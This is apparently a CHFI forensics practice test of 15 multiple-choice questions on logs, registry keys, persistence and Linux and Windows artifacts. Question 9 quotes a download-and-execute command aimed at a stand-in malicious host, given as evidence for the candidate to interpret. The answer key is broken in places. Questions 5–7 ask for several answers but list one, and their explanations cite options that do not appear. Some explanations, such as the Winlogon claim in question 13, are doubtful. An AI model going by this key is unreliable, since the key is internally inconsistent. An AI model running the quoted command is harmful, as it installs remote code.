CHFI OS and Network Forensics Practice Test 5 — 15 Questions

Question 1

A security analyst is investigating a potential intrusion and finds a webshell on a Linux web server. Which of the following logs would be MOST useful to determine how the webshell was uploaded?

Accepted Answer

/var/log/apache2/access.log. The Apache access log (/var/log/apache2/access.log) records every HTTP request made to the web server, including the method (e.g., POST), URI, source IP, and user-agent. A webshell is typically uploaded via a file upload vulnerability or a crafted HTTP request (e.g., PUT or POST with multipart/form-data), so the access log will show the exact request that transferred the malicious file to the server, making it the most useful for determining the upload vector.

Answer

/var/log/syslog

Answer

/var/log/auth.log

Answer

/var/log/kern.log

Question 2

In Windows registry forensics, which key is examined to identify USB devices that were connected to the system?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under HKLM\SYSTEM\CurrentControlSet\Enum contains a subkey for each USB mass storage device that has ever been connected to the system, recording the device's serial number, class, and instance ID. This is the primary forensic artifact for identifying USB device connection history because the system enumerates and persists these entries when a USB storage device is first plugged in.

Answer

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Answer

HKLM\SAM\SAM\Domains\Account\Users

Question 3

A forensic examiner is analyzing a compromised Linux system and finds a suspicious cron job in /var/spool/cron/crontabs/root that executes a script every hour. The script is located in /tmp/.hidden/update.sh. What is the BEST next step?

Accepted Answer

Capture the script for analysis and preserve the cron entry as evidence. The cron job entry in /var/spool/cron/crontabs/root and the associated script in /tmp/.hidden/update.sh are critical pieces of evidence. The best next step is to capture the script for malware analysis and preserve the cron entry (e.g., by making a forensic copy of the file and its metadata) to maintain the integrity of the evidence chain. Deleting or rebooting would destroy volatile data and potentially alert the attacker, while running the script without proper containment could cause further compromise.

Answer

Reboot the system to clear the cron job from memory

Answer

Delete the cron job immediately to prevent further damage

Answer

Run the script in a sandbox to determine its functionality

Question 4

Which network forensic technique involves analyzing the flow of network traffic to identify patterns and anomalies, often using tools like SiLK or nfdump?

Accepted Answer

NetFlow analysis. NetFlow analysis is the correct technique because it focuses on collecting and analyzing IP traffic flow metadata (e.g., source/destination IPs, ports, protocols, packet counts) to detect patterns and anomalies. Tools like SiLK and nfdump are specifically designed to process NetFlow data, making this the precise match for the question's description.

Answer

Port scanning

Answer

Signature-based detection

Answer

Deep packet inspection

Question 5

Which TWO of the following artifacts are used for timeline analysis in digital forensics? (Select two.)

Accepted Answer

LNK files. LNK files are correct because they record the last access timestamp of the file or application they point to, along with the volume serial number and path. This metadata allows a forensic examiner to reconstruct user activity and file access sequences during timeline analysis. Prefetch files are correct because they store the last run time, run count, and file paths of executed applications, enabling the creation of a chronological timeline of program execution on a Windows system.

Answer

HKLM\SYSTEM

Answer

HKLM\SAM

Answer

Windows Event Logs

Question 6

Which THREE of the following are indicators of a web shell on a web server? (Select three.)

Accepted Answer

Unexpected file modifications in web directories, especially .php, .asp, or .jsp files. Unexpected file modifications in web directories, especially .php, .asp, or .jsp files, are a classic indicator of a web shell because attackers often upload or modify these executable script files to gain persistent remote access. A web shell is typically a small script that accepts system commands via HTTP parameters, so its presence directly alters the file system in web-accessible locations. Forensic examiners look for files with recent timestamps, unusual sizes, or embedded obfuscated code that deviate from the baseline of legitimate web application files.

Answer

An increase in 404 errors due to directory traversal attempts

Answer

Regular successful logins from multiple IP addresses

Question 7

Which TWO of the following are persistence mechanisms commonly found in Windows forensics? (Select two.)

Accepted Answer

Scheduled Tasks. Scheduled Tasks (C) are a common persistence mechanism because they allow an attacker to execute malicious code at specific times or system events, such as logon or startup. In Windows forensics, analysts examine the Task Scheduler service and the %WINDIR%\System32\Tasks directory to identify unauthorized tasks. Registry Run keys (E) are also a classic persistence method, as they automatically launch programs when a user logs in; forensic examiners check keys like HKLM\Software\Microsoft\Windows\CurrentVersion\Run for malicious entries.

Answer

Jump lists

Answer

ShellBags

Answer

Prefetch files

Question 8

A security analyst is reviewing Windows Security Event Logs and notices multiple Event ID 4625 entries for a single user account within a short time frame. What does this MOST likely indicate?

Accepted Answer

Brute-force password guessing attack. Event ID 4625 indicates a failed logon attempt. Multiple failures in a short time suggest a brute-force attack against the user account.

Answer

Service installation

Answer

Account lockout policy change

Answer

Successful account logon

Question 9

During a forensic investigation of a compromised Linux server, the investigator examines the bash_history file of the root user. She finds the command: wget http://malicious.site/shell.sh && chmod +x shell.sh && ./shell.sh. What is the MOST likely intent of this command sequence?

Accepted Answer

Download and execute a web shell for persistent remote access. The command sequence downloads a shell script from a remote server using wget, makes it executable with chmod +x, and then executes it. This is a classic technique for deploying a web shell or backdoor, which provides the attacker with persistent remote access to the compromised system.

Answer

Compile a kernel module

Answer

Update the system packages

Answer

Perform a system backup to a remote server

Question 10

A forensic analyst is examining a Windows 10 system for evidence of USB device usage. Which registry hive and key path should she check to find a list of USB devices that have been connected to the system?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under HKLM\SYSTEM\CurrentControlSet\Enum stores the device instance IDs and class GUIDs for every USB mass storage device that has ever been connected to the system. This is the primary forensic artifact for enumerating historical USB device attachments on Windows 10.

Answer

HKLM\SAM\SAM\Domains\Account\Users

Answer

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

NTUSER.DAT\Software\Microsoft\Windows\ShellNoRoam\BagMRU

Question 11

A SOC analyst is analyzing a packet capture from a network where an internal host communicated with a known malicious IP. The analyst uses Wireshark and applies a display filter to isolate all HTTP traffic. Which filter expression should he use?

Accepted Answer

http. The correct filter is 'http' because in Wireshark, simply typing 'http' as a display filter captures all HTTP traffic, including both requests and responses. This is the most straightforward way to isolate all HTTP packets without limiting to a specific direction or port.

Answer

http.request

Answer

ip.proto == 6

Answer

tcp.port == 80

Question 12

In Linux forensics, which file contains information about user account passwords in hashed form?

Accepted Answer

/etc/shadow. In Linux, the /etc/shadow file stores user account passwords in hashed form, along with password aging information. This file is readable only by root (or privileged processes) to prevent unauthorized access to password hashes, unlike /etc/passwd which is world-readable and historically stored hashes but now typically shows an 'x' placeholder. The hashes are generated using algorithms like SHA-512 (crypt $6$) or yescrypt, as specified in the shadow file format.

Answer

/etc/passwd

Answer

/etc/group

Answer

/var/log/auth.log

Question 13

A forensic analyst is examining a Windows system for evidence of a program that runs automatically every time the system starts. Which registry key is commonly used to achieve persistence via the 'Run' key?

Accepted Answer

HKLM\Software\Microsoft\Windows\CurrentVersion\Run. The 'Run' key at HKLM\Software\Microsoft\Windows\CurrentVersion\Run is the standard registry location used by legitimate software and malware alike to execute a program automatically at every system startup. This key stores values that point to executable paths, and Windows’ Winlogon process reads these values during boot to launch the specified programs. It is a primary persistence mechanism in Windows forensics.

Answer

HKLM\SAM\SAM

Answer

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Answer

HKLM\SYSTEM\CurrentControlSet\Services

Question 14

An incident responder is analyzing a Linux system and finds a suspicious process running as root. To determine the full command line and environment variables of the process with PID 1234, which file in the /proc filesystem should she examine?

Accepted Answer

/proc/1234/cmdline. /proc/1234/cmdline contains the full command line used to launch the process, including arguments, separated by null bytes. Although the question asks for both command line and environment variables, /proc/1234/cmdline provides the command line portion; the environment variables are stored in /proc/1234/environ, which is not among the options. Therefore, /proc/1234/cmdline is the best choice among the given options.

Answer

/proc/1234/status

Answer

/proc/1234/maps

Answer

/proc/1234/fd

Question 15

A forensic analyst is examining browser history from a Chrome installation on a Windows system. Where is the Chrome history database typically stored?

Accepted Answer

%LOCALAPPDATA%\Google\Chrome\User Data\Default\History. Chrome stores its browsing history in a SQLite database file named 'History' located under the user's local app data directory. The full path is %LOCALAPPDATA%\Google\Chrome\User Data\Default\History. This file contains tables such as 'urls' and 'visits' that record all visited URLs, timestamps, and visit counts.

Answer

%APPDATA%\Mozilla\Firefox\Profiles\

Answer

%WINDIR%\System32\config\

Answer

%USERPROFILE%\Favorites\